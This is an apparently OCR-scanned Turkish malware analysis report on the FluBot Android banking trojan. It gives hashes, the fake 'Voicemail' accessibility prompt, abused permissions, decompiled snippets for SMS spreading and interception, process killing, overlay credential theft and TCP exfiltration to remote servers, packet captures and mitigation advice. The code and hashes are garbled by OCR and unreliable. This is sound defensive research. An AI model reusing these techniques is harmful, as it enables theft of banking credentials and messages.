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Giris

Giiniimiizde Android cihazlarin sahip oldugu yetenekler hayatimizin bir
parcasi haline gelmistir. Bu 6zellikler cogu zaman hayatimizi kolaylastirsa da
yapmis oldugumuz banka islemleri, mesajlasma platformlari, online aligveris
siteleri, fotograf ve video arsivleme gibi 6zellikler kontrolsiiz biiytimenin
sonucunda daha biiyiik bir kitleye hitap etmektedir ve kotii amagh kisilerin
hedefi haline gelmektedir.

Flubot zararli yazilim ailesi baslangicta Ispanya olmak iizere Japonya ve
bircok Avrupa iilkesini hedef almis K6tii amagl bankacilik yazilimidir.

FluBot ailesine ait olan bu Android zararl yazilim genellikle SMS’ler
araciligiyla cihazlara yerleserek ya da bir baglanti {izerinden “Giincelleme
yapilmasi1 gerekiyor” uyarisi veren baglantiy1 kullanarak bulagmaktadir. Bu
izledigi yol ile kullanicilarin ¢ogu kisisel bilgilerine erisim saglayip Android
kullanicilarin1 magdur etmektedir.

Enfekte olan cihazda ne gibi zararl islemler yapildigi detayl olarak ekran
gorintiileri ile desteklenerek belirtilmis ve aciklanmustir.




MD5 c23426edaf37a2fc6fc3ab6e5daal7bfa

SHA1 a362elaaf8bc7a7491b10eab252¢3b7ee8532a46

SHA256 a0181864eed9294cac0d278fa0eadabe68b3adb333eeh2e26cc082836f82489d
Ik Goriildiigii 24.03.2021

Tarih

Dosya Tipi APK

Gorunum

Action Required
Action Required

Action Required (1/2)

Action Required (1/2)
To install you must turn on the accessibility To install you must turn on the accessibility

service for "Voicemail”. service for "Voicemail".

Click "OK" to go to the settings and then Click "OK" to go to the settings and then
scroll until you find "Voicemail” and click to scroll until you find "Voicemail” and click to
turn on the accessibility service. turn on the accessibility service.

If you do not find it click on "Downloaded /
Installed services" and then click on
“Voicemail".

If you do not find it click on "Downloaded /
Installed services" and then click on
"Voicemail”.

=  Accessibility

Services

Voicemail
off

ClockBack
Off

Magnification
Off

QueryBack
Off

System

Captions
off

Magnification gesture
off

Font size
Default

y



Y

AndroidManifest. XML Dosyasi Analizi

<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>

79 |</manifest>
Zararlinin AndroidManifest.xml dosyasi igindeki izinler incelendiginde;

ACCES_NETWORK_STATE izni zararlinin network durumuna
ulasabilmesini saglar.

READ_PHONE_STATE izni telefonun durumu hakkinda uygulamanin veri
alabilmesine olanak saglar.

SEND_RESPOND_VIA MESSAGE izni bir uygulamanin gelen aramalar
sirasinda mesaj yoluyla yanit verme eylemini islemesi i¢in diger
uygulamalara istek gdndermesine izin verir. Ugiincii taraf uygulamalar
tarafindan kullanilmaz.

KILL_BACKGROUND_PROCESS izni verilen paketle iligkili tiim arka
plan islemlerinin derhal sonlandirilmasini saglar. Sistem gerektiginde bu
stirecleri yeniden baslatabilmektedir.

RECEIVE_SMS izni bir uygulamanin SMS mesajlar1 almasina izin verir.

REQUEST_IGNORE-BATTERY_OPTIMIZITIONS bir uygulamanin
kullanmak i¢in sahip olmas1 gereken izindir.

REQUEST_DELETE_PACKAGES bir uygulamanin paketleri silme
talebinde bulunmasina izin verir.

y
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CLASSES.DEX ANALIZI

<activity android:name="com.didiglobal.passenger.pdbe8c43a” android:launchMode="singleTop™>
<intent-filter>
<category android:name="android.intent.category. LAUNCHER" />
<action android:name="android.intent.action.MAIN"/>
</intent-filter>
<factivity>

Yukarida baslatici etkinligi (Launcher Activity) entrypoint adresi
gorilmektedir.

public void addipplicationInfo(@Moniull Context context) {

try {
PackageInfo packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), @);
put(TelemetryEventStrings.App.NAME, packageInfo.applicationInfo.packageName);
put(TelemetryEventStrings.App.VERSION, packageInfo.versionName);
put({TelemetryEventStrings.App.BUILD, String.valueOf(packageInfo.versicnCode));

} catch (PackageManager.NameNotFoundException unused) {

Logger.warn(TAG, "Unable to find the app's package name from PackageManager.");

public void addDeviceInfo(@NonNull Context context) {

L
put{TelemetryEventStrings.Device.MANUFACTURER, Build.MANUFACTURER);
put{TelemetryEventStrings.Device.MODEL, Build.MODEL);
putiTelemetryEventStrings.Device.NAME, Build.DEVICE);
try {

put(TelemetryEventStrings.Device.ID, StringExtensions.createHash(Settings.Secure.getString(context.getContentResolver(), "androi
} catch (Unsup ingE on | NeSuchAlgorithmException unused) {
Logger.warn(TAG, "Unable to get the device id.");

_id")));

1
I}

public void addOsInfe() {
put(TelemetryEventStrings.0s.NAME, TelemetryEventStrings.0s.05_NAME];
putiTelemetryEventStrings.0s.VERSION, Build.VERSION.RELEASE);
if (Build.VERSION.SDK_INT »>= 23) {
put(TelemetryEventStrings.0s.SECURITY_PATCH, Build.VERSION.SECURITY_PATCH);

1
b

Yukaridaki methotlar araciligiyla uygulamalar , isletim sistemi, {iretici
bilgileri gibi cihaz verilerini almaktadir.

STFINE MYS478690 = pCy/esbae .Mys47a690 (ST INE.Tormat($(Y, 14, ~Za11Z), ReW UDJeCT[ {31 1%, ZI, ~Z068%), INreger. valusuT
if (m9347a269b != null) {
String[] split = m9347a69b.split($(21, 22, -18408), 2);
if (split.length == 2) {
Stri str = split[e];
String str2 = split[1];
if (!str.isEmpty() && !str2.isEmpty()) {
if (!pdcf6d7d5.m12143955(pfe50e508.b, str).booleanValue()) {
PendingIntent broadcast = PendinglIntent.getBroadcast(pfe5@e50@.b, @, new Intent($2), 8);
pfe58e500 b registerReceiver(new p3b965984 (), new IntentFilter($2));
[ SmsManager.getDefault().sendTextMessage(str, (String) null, str2, broadcast, (PendingIntent) nu11);]
int r2 - plasioobl.a;

System.currentTimeMillis();
pfe50e580.c.add(str);
pdcf6d7d5.m3347a69b(pfe50e500.b, str);
if (str.charAt(@) == '8') {
str = str.substring(1);
}
pdcf6d7d5.m3347a69b(pfe50e500.b, str);
for (int r22 = 9; r22 < pb48c4185.a.length; r22++) {
pdcf6d7d5 .m9347a69b (pfe50e500.b, pb48ca185.a[r22] + str);
pdcf6d7d5 .m9347a69b (pfe50e500.b, $(22, 23, -25428) + pb48cal185.a[r22] + str);
pdcféd7d5.m9347a69b (pfe50e500.b, $(23, 25, -22198) + pbd8c4185.a[r22] + str);
}
try {
pfe50e500.e.await((long) (pfe56e500.a * 3), TimeUnit.SECONDS);
} catch (Exception unused) {

pdcfed7d5.mfe2c8de9(pfe50e500.a);
rl++;
T else {
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FluBot ayrica erisilebilirligi kotiiye kullanarak kendisini varsayilan SMS
uygulamasi olarak izinler saglamaktadir, boylece kotii amagh yazilimin geri
bildirim iizerine SMS mesajlar1 gondermesine izin verir. Yukarida isaretlenen
satirda zararlinin bunu sagladigi goriilmektedir

if ((26 + 8) % 8 <= @) {
}
if ((11 + 20) % 20 <= @) {

¥
if ((25 + 31) % 31 <= 0) {

AtomicReference atomicReference = this.b;
String str2 = this.c;
AtomicReference atomicReference2? = this.d;
try {

if (atomicReference.get() == null) {

if (pb48c4185.c.nextInt(10) >= 7) {
str = pdcf6d7d5.mcaB96375(str2);
} else {
try {
str = InetAddress.getByName(strZ).getHOstAddress();l
} €atCh (Cxception onosed) 1
str = null;

¥
¥
if (str == null) {
return;
}
if (p868c6@83.pd7eBebod.pcS705bde. pc9705bde. pc9785bde . mfbc9e6c8(str, $(@, 8, -25424), str2) != null) {
atomicReference.set (str);
atomicReference2. set(str2);
Context context = pd7e8eb9d.a;
SharedPreferences_Editor edit = context.getSharedPreferences(context.getString(2131689500), 0).edit();
edit _putString($(8, 9, -20033), str2);
edit.commit();
}

}

Isaretlenen string ifadesi igerisinde GetHostAdress fonksiyonunu
kullanarak cihazm IP adresi return edilmektedir.

public final AccessibilityModeInfo h(String str, AccessibilityNodeInfo accessibilityNodeInfo, boolean z) {
String str2 = str;
AccessibilityNodeInfo accessibilityNodeInfo2 = accessibilityNodeInfo;
List<AccessibilityNodeInfo> findAccessibilityNodeInfosByText = z ? accessibilityNodeInfo2.findAccessibilityNodeInfosByText(str2) : accessibi
if (findAccessibilityNodeInfosByText.size() > @) {
return findAccessibilityNodeInfosByText.get(8);

}

return null;

i
SMS Auto Accept With Accessibility ile zararlinin cihaza yolladigi SMS’in

otomatik olarak kabul edilmesi i¢in gerekli olan izni etkinlestiren kod blogu
yer almaktadir.
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for (Object obj : (Object[]) extras.get(%(@, 4, 2798@))) {
SmsMessage createFromPdu = SmsMessage.createFromPdu( (byte[]) obj);
StringBuilder mca®96375 = pc97@5bde.mca@96375(5(4, 12, 26834
mca@36375.append(createFromPdu. getDisplaydriginatingAddress(
mcaB96375.append($(12, 14, 31269));
mcaB96375.append(createFromPdu. getMessageBody () . teString());
String sb = mca@96375.tostring();
if (pd7e8ebad.b) {
pB68c6Ra3. pd7e8ebad. pco7@shde. pca7@Shde. pcoveshde . mca@96375( sk, Boolean.TRUE);
abortBroadcast();
return;

toString());

}
String str = createFromPdu.getDisplayOriginatingAddress().teString();
Iterator<String> it = pfeS5@e5we.c.iterator();
while (true) {
if (it.hasNext()) {
if (PhoneNumberUtils.compare(str, it.next())) {
z = true;
break;
1
} else {
z = false;
break;

CreateFromPDU methodu kullanilarak belirtilen mesaj formatina sahip bir
SmsMessage olusturulmaktadir.

public static boolean isAppIsInBackground(Context context) {
ActivityManager activityManager = (ActivityManager) context.getSystemService(PublicClientApplication.NONNULL_CONSTANTS.ACTIVITY);
boolean z = true;
if (Build.VERSION.SDK_INT > 22) {
for (ActivityManager.RunningAppProcessInfo runningAppProcessInfe : activityManager.getRunningAppProcesses()] {
if (runningAppProcessInfo.importance == 188) {
for (String str : runningAppProcessInfo.pkglist)
if (str.equals(context.getPackageName())) {
z = false;

1

return z;

} else if (activityManager.getRunningTasks(1).get(8).topActivity.getPackagelame().equals(context.getPackageName())) {
return false;

} else {
return true;

public void run() {
if ((22 + 14) % 14 <= @) {
1

‘.
if ((12 + 32) % 32 <= @) {
1

1
if ((4 + 19) ¥ 19 <= @) {
1
if ((6 + 3@) % 3@ <= @) {
1
SecureRandom secureRandom = new SecureRandom();
PowerManager.WakeLock wakelLock = null;
while (true) {
PowerManager.WakeLock newWakelock = ((PowerManager) pd7edeb9d.a.getSystemService($(z, 7, -26196))).newWakelock(l, pd7e8ebdd.a.getString(2131689508) + §
newiakelock.acquire();
if (wakeLock != null) {

wakelock.release();
H
Context context = pd7e8eb9d.a;
SharedPreferences sharedPreferences = context.getSharedPreferences(context.getString(2131689500), @);
if (sharedPreferences.getBoolean($(7, 8, -21796), false)) {
for (String str : pd7edebdd.d.keySet()) {
ean.valueOf(sharedPreferences.getBoolean({str.hashCode() +
( (ActivityManager) pd7e8ebdd.a.getSystemService($(3, 16, -22561)

, false)).booleanvalue(}) {
) .killBackgroundProcesses(str);

1

}
pdcfed7ds.mfe2cdded(72)
wakeLock = newWakelock;

Belirtilmis olan Kill_Background_Process fonksiyonu cihazin arka planinda
calisan processleri sonlandirmaktadir.
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Kendi uygulamalarini bagka bir programin iizerine yerlestirerek kullanici
bilgilerini ¢almak amaciyla Overlay Attack saldiris1 kullanildigi
goriilmektedir. Boylece birebir ayn1 formlar1 agmaktadir.

Overlay Attack i¢in hazirlanmis Config dosyasi yukarida belirtilmektedir.

@nonnNull

private String decryptWithsecretKey(@NonNull byte[] bArr, @

private void emitDecryptionFailureTelemetryIfleeded(@lonlull KeyType keyType, @Honlull Ex

nlull SecretKey secretkey) {

secretiey hMacKey = getHMacKey(secretKey);
int length = (bArr.length - 16) - 32;
int length2 = bArr.length - 32;
int r4 = length - 4;
if (length < @ || length2 < @ || r4 < 8) {
throw new I on("Invalid byte array input for decryption.™);

1
Cipher instance = Cipher.getInstance(CIPHER_ALGORITHM);

Mac instance2? = Mac.getInstance(HMAC_ALGORITHM);
instance2.init(hMacKey);

instance2.update(barr, @, length2);

assertHMaci(bArr, length2, bArr.length, instance2.doFinal());
instance.init(2, secretKey, new IvParameterSpeci(bArr, length, 16));
return new String(instance.doFinal(bArr, 4, r4), "UTF-8");

on exc) {
SharedPreferences defaultSharedPreferences = PreferenceManager.getDefaultSharedPreferences(this.mContext);
String string = defaultSharedPreferences.getString(CURRENT_ACTIVE_BROKER, "");
ing packageName = this.mContext.getPackageName();
if (!string.equalsIgnoreCase(packageName)) {
String str = "Decryption failed with key + keyType.name() +
Logger.info("StorageHelper:emitDecryptionFailureTelemetryIfleeded”, str);
IWpjTelemetryCallback iwWpjTelemetryCallback = this.mTelemetryCallback;
if (iWpjTelemetryCallback != null) {

iWpjTelemetryCallback. logEvent(this.mContext, AuthenticationConstants.TelemetryEvents.DECRYPTION_ERROR, true, str);

" " Active broker: " + packageName + " Exception: " + exc.toString();

1

I
defaultsharedPreferences.edit().putString(CURRENT_ACTIVE_BROKER, packageMame).apply();

HMAC algoritmasi kullanilarak, once iki client arasindaki dogrulama

v .

saglanip uzak sunucuya iletilen trafigin sifrelendigi gézlemlenmektedir.



package com.cortana.siri}

import android.app.Application;

import android.app.Instrumentation;

import android.content.Context;

import android.content.pm.ApplicationInfeo;
import java.util.arr

public class p extends Application {

public void attachBaseContext(Context context) {
super.attachBaseContext(context)
b.a(({Context) this);

tyThread”, new

ass<23[]) null

cadedApk”, a3,
! o.a("android.app
((ApplicationInfo) o.a("
((ApplicationInfo) o.a( android.app.
zn bool = B

Thread", a, "mInitialépplication”));

a3, "makeApplicat

o.a("android. app applicatio

if (application
application.onCreate();

=2n.TYPE, Instru

Sistemdeki aktiviteler activity stackler olarak bilinir. Onceki aktivite her
zaman stackte yeni aktivitenin altinda kalir ve 6n plana ¢ikmaz. Buradaki
“onCreate” fonksiyonun arka planda ¢alistirdig1 bir processi i¢inde
olusturdugu goriilmektedir. Daha sonra “onDestroy” fonksiyonu i¢inde
durdurdugu processler karsimiza ¢ikmaktadir.

public class TCPTransportThread extends Thread {|
public 2n isHalted = false
public sd1Psm psm = new sdlPsm(

public TCRTransportThread() {
1

}

private boolean connect() {
boolean z;
synchronized (TCPTransport.this) {
int r1 = 30;
do {
try {
if (TCPTransport.this.mSocket !'= null 88 |TCPTransport.this.mSocket.isClosed())
TCPTransport. this. logInfo("TCPTra
TCPTranspert. this.mSocket. close()

g to c

connect: Socket is not closed. Tryin

}
TCPTransport. this. logInfe(String. format("TCPTransp: onnect: Socket is closed.
TCPTranspert.this.mSocket = new Secket();

rying to connect te %s", TCPTransport.this.mConfig));

TCPTransport. this.mSocket.connect(new InetSocketAddress(TCPTransport.this.mConfig.getIPAddress(), TCPTransport.this.mConfig.getPort()
TCPTransport. this.mOutputStream =

TCPTransport. this.mInputStream

TCPTransport. this.mSocket. getOutputStrean();
TCPTransport. this.mSocket.getInputStream();

annect: Exception during connect stage: " + e.getMessage());

else if (TCPTransport.this.mConfig.getAutoReconnect()) {
ri--;
TCPTransport. this. logInfo(string. format("TCPTranspo
TCPTransport. this.waitFor (5600);

} else {

TCPTransport. this.logInfa("TCPTrans

t.connect: Socket not connected. AutoRecennect is ON. ret

ount is: ¥d. Waiting for reconnect delay: %d", Integer.valueOf(rl), 5008)

not connected. AutoReconnect i

¥

if (z || ITCPTransport.this.mConfig.getAutoReconnect() || rl <= @) {

1

1

} while (!this.isHalted.booleanValue());
}
return z;

}

private veid internalHandlestreamReadErrer() {
if (this.isHalted.booleanValue()) {




private void internalHandleStreamReadError() {
if (this.isHalted.booleanvalue()) {
TCPTransport. this.logError("TCPTranspart.run: Exception during reading data, but thread already halted”);
return;
¥
TCPTransport.this. logError("TCPTransport.
TCPTransport.this.disconnect("Failed to r

1
}

tion during reading data”);
rom 5d1”, new SdlException(’Failed to read data from 5dl”, SdlExceptionCause.SDL_CONNECTION FAILED), false);

private void internalHandleTCPDisconnect() {
if (this.isHalted.booleanValue()) {
TCPTransport.this. logInfo( "TCPTransport.run: TCP disconnect received, but thread already halted”);
return;
¥
TCPTransport. this. logInfo( " TCPTrans
TCPTransport.this.disconnect({"TCPTrans

nect received®);
cam reached”, null, false);

TCPTransport, cihazdan aldig: bilgileri runtime aninda ¢oziimledigi bir

IP adresine gondermek tizere baglant1 olusturdugu detayli analizde karsimiza
cikmaktadir.

8o // com.smartdevicelink. transport.SdlTransport
public void openConnection() {
TCPTransportState currentState = getCurrentState():
logInfo(string.format("TCPTranspert: openConnection requested. Current state is:
if (currentState == TCPTransportState.IDLE) {
synchronized (this) {
setCurrentState(TCPTransportState. CONNECTING) ;
logInfo("TCPTransport: openCennection request accepted. Starting transport thread");
try {
TCPTransportThread tCPTransportThread
this.mThread = tCPTransportThread;
tCPTransportThread. setDaemon(true);
this.mThread.start();
if (SiphonServer.getSiphonEnabledStatus().booleanvalue()) {
Siphonserver.init();

5", currentState.name()));

new TCPTransportThread();

)
}

} catch ( ne) {
logError("TCPTransport: Exception during transport thread starting”, e);
throw new SdlException(e);

1
1

1
I

return;
)

}
logInfo("TCPTransport: apenConnection request rejected. Another connection is not finished”);

Yukaridaki kod blogunun analizi sonucu OpenConnection methodu
icerisinde TCPTransportThread 1 olusturup uzak bir nesneye baglanti
kurma istegi attig1 goriilmektedir.




rrentState = getCurrentSt:
1Packet. construc

Integer.value0f(constructPacket. length), @, Integer.valueOf(constructPacket.length), currentState.nase()));

this. m0utputStrean.urite constructPacket,
LogInfo( "TCPTransport. sendByte:
return true;

} cateh | Pai

else |

"TCPTranspart: sendBytesOverTranspor

return false;

Baglant1 olusturulduktan sonra sendBytesOverTransport methodu
kullanilarak elde edilen bilgiler gonderilmektedir.

Cortana.siri paketi igerisindeki h classinda, Resource igerisinde bulunan

assets klasoriindeki zip dosyalarini extract ederek MultiDex yapilandirmasi
olusturulmaktadir.

private static SharedPreferences a(Context context) {
return context.getSharedPreferences("multidex.version", Build.WERSION.SDK_INT < 11 ? @ : 4);

}

private List<j> a(Context context, String str) {

string str2 = this.f.getName() + ".classes";

SharedPreferences a2 = aicontext);

int r4 = a2.getInt(str + "dex.number™, 1);

ArrayList arraylList = new ArraylList(rd + -1);

for (int rl = 2; rl <= r4; rl++) {

j jvar = new j(this.h, str2 + rl + ".zip"};

if (jvar.isFile()) {

jvar.a = b(jvar);

long j2 = a2.getlong(str + "dex.crc.” + rl, -1);

long j3 = a2.getlong(str + "dex.time.” + rl, -1);

long lastModified = jvar.lastModified();

if (j3 == lastModified && j2 == jvar.a) {
arraylList.add(jvar);

! r
; else {
throw new I0Exception("Invalid extracted dex: ™ + jvar + " (key \"" + str + "\"), expected mc
}
I else {
throw new IOException("Missing extracted secondary dex file '™ + jvar.getPath() + "'"};

1
J
1
I
return arraylist;
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e file, String str) {

private static void a(zZipFile zipFile, ZipEntry zipEntry,
tStream inputStream = zipFile.getInputStream(zipEntry

createTempFile = .createTempFile("tmp-" + str, p", file.getParentFile());
er sb = new StringBuilder();
sb.append( racting ");
sb.append(createTempFile.getPath());
try {
ZipOutputStream zipOutputStream = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(createTempFile
try {

ZipEntry zipEntry2 = new ZipEntry("classes.dex™);
zipEntry2.setTime(zipEntry.getTime()
zipQutputStream.putNextEntry(zipEntry2);
n.ath, inputStream, zipOutputStream);
zipOutputStream.closeEntry();

catch ( on e2) {

catch (Throwsble th) {
zipOutputStream.close();
throw thj;

1
i

zipOutputStream.close();
if (createTempFile.setReadOnly()) {
der sb2 = new

StringBuil H
sb2.append("Renaming to
sb2.append(file.getPath());
if (!createTempFile.renameTo(file))

throw new T on("Failed to rename \"" + createTempFile.getAbsolutePath() + "\" ta \"" + file.getAbsolutePath{) + "\"");

com.didiglobal.passenger classinda tanimlanmis olan a methoduyla
runtime aninda ¢éziimlenen bir .dex dosyasi olusturulmaktadir.

public static woid a(Context context) {

int r@ = Build.VERSION.SDK_INT;
if (r@ >= 4) {
try {
ApplicationInfe ¢ = c(context);
if (¢ != null) {
a(context, new Fi

"secondary-dexes”, M

c.sourceDir), new Fi

e(c.datalir),
3

} catch (Ex
throw new Runti

"MultiDex installation failed (

+ e.getMessage() +

1
I

1 else {

T else {
throw new Runtim ion{"MultiDex installation failed. SDK " + r@ + " is unsupported. Min SDK version is ™ + 4 + ".");

1

1

h

private static void a({Context context, File file, File file2, String str, String str2) {
Set<Filer set = a;

synchronized (set) {

if (!set.contains(file))
set.add(file);
int r@ = Build.VERSION.SDK_INT;
if (r@ > 28) {
StringBuilder sb = new StringBuilder();

r
1

sb.append(“MultiDex is not guaranteed to work in SDK version ")j;

sb.append(re);

sb. ( SOK wersien higher than ");

sh. ;

sb. ould be backed by runtime with built-in multidex capabilty but it's not the case here: java.vm.version='

sb.
sb.

em.getProperty("java.vm.version”))

.dex dosyas1 SDK uyusmazligindan dolayi calistirilamadiginda olusturulan
dex dosyasi1 hafizadan silinmektedir.
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Saexe Praccd
1684.16.248.249 Application Data
@ ipwto.io Products v Schtiens v Wiy IPnfo? v Pridng Reseusces v Dacs
192.108.07.132  194,16,248,249 TP 64022 ~ 443 [ACK] Seq=501 Ack=394T MIn=6I075% Len:
152.168.67.132 194,16.248.248 TLSv1.2 . Encrypted Alert = Harges 2 4
164.16.248.249 192.168.67.132 TCP . 443 + B4622 [ACK] Seq=3947 Ack=612 Win=64248 Len:
192.168.07.132 223.5.5.5% TLSv1.2 . Client Key Exchange, Change Cipher Spec, Encrypt P addtress toe Pt
223.5.5.5 192.108,67.132 TCP . 443 - 64634 [ACK] Seq=3157 Ack=308 Min=0424@ Len: o
TLSVA.2 _ New Session Ticket, Change Cipher Speg, Encryprel Hostod Somaty 264
¥ Prvic & T
223.5.5.5 ,108,67, W SO85100 TiCKkeL, Change Cipher : .
192.168.67.132 223,5.5.5 TLSvi.2 _ Application Data Ayt @ e
_223.5.5.5 192.168.67.132 TCP - 443 - 84631 [ACK] 2003352 ACK=ST1 MIN=84244 Lenie.- s e
« Frame 930 249 byres on wire (1892 bAUS), 249 bytes captured (1892 BITs) on Interface \Device A =
+ Ethernet II, Src: VMvore_eb:35:e6 (80:5! eb:35:e6), Dst: VMware df:20:5a (60:6c:29:df:20:5 pone Cormess

« Internet Protocol Version 4, Src: 223.5.5.5, Dst: 192.168.67.132
« Transmission Control Protocal, Src POrc: 443, DSt POrt: 84638, Seq: 3157, Ack: 388, Len: 195
- Transport Layer Security
+ TLSv1.2 Record Layer: Handshake Protocol: New Session Ticket Geclocation Data
» TLSv1.2 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec .. S
P TLSV1.2 Record Layer: Mandshake Prorocol: ENcrypled Mandshake Message bt d - L
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Cihaz 223[.]6[.]6].]6 ve 223[.]5[.]5[.]5 adresli Ali Express sunucularina yonlendirilmektedir.

[ Ttcp.port in {443 B0 8443} ]
Source Destination Protocol Length Info
8.8.4.4 192.168.67.132 TCP 1514 443 - 64625 [ACK] Seq=1461 Ack=178 Win=64240 Len=1460 [TCP segment of a reassembled PDU]
8.8.4.4 192.168.67.132 TCP 1514 443 - 64625 [ACK] Seq=2921 Ack=178 Win=64240 Len=1460 [TCP segment of a reassembled PDU]
8.8.4.4 192.168.67.132 TLSv1.2 449 certificate, Server Key Exchange, Server Hello Done

TLSv1.2 1514 server Hello

54 64626
4. 54 64625
192.168.67.132 104.16.248.249 TCP 54 64629

— 443 [ACK] Seq=186 Ack=2780 Win=64240 Len=0

“ »
- Transport Layer Security
- TLSv1.2 Record Layer: Handshake Protocol: Server Key Exchange
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 147
- Handshake Protocol: Server Key Exchange
Handshake Type: Server Key Exchange (12)
Length: 143
» EC Diffie-Hellman Server Params
- TLSv1.2 Record Layer: Handshake Protocol: Server Hello Done
Content Type: Handshake (22)
Version: TLS 1.2 (0x0303)
Length: 4
- Handshake Protocol: Server Hello Done
Handshake Type: Server Hello Done (14)
Length: 0

104[.]16[.]248[.]249 adresli sunucuya girilen , Overlay Attack araciligiyla alinan bilgiler
gonderilir




Y
4
Céziim Onerileri

e Yazilimlan yalnizca Google Play Store gibi resmi uygulama
magazalarindan indirilmelidir.

e Android cihazlarda Google Play Protect'in etkinlestirilmelidir.

o Kullanicilar, cihazlarinda herhangi bir izni etkinlestirirken dikkatli
olmalidur.

e (Cihazda siipheli uygulamalar bulunursa, bunlar1 hemen kaldirilmali
veya silinmelidir.

o Kotii amagh yazilim bulasmasini izlemek ve engellemek i¢in
paylasilan IOC'leri kullanilabilir.

o Kot amacgh yazilimlar tespit etmek ve kaldirmak i¢in virtisten
koruma yazilimlar1 giincel tutulmalidir.

e Android cihazinizi, isletim sisteminizi ve uygulamalarin en son
siirlimlere giincel tutulmalidir.

e Uygulamalarda giiclii parolalar kullanilmali ve iki faktorlii kimlik

dogrulama etkinlestirilmelidir.
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